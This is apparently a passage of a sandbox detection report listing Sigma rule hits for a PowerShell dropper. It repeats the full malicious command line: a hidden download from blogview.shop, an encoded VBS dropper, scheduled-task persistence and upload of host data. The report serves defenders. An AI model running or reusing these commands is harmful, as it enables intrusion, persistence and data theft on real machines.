VggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , ProcessId: 6488, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1436, TargetFilename: C:\Users\Public\Libraries\Libraries.vbs

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1436, TargetFilename: C:\Users\Public\Libraries\Libraries.vbs

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1436, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, ProcessId: 5692, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZX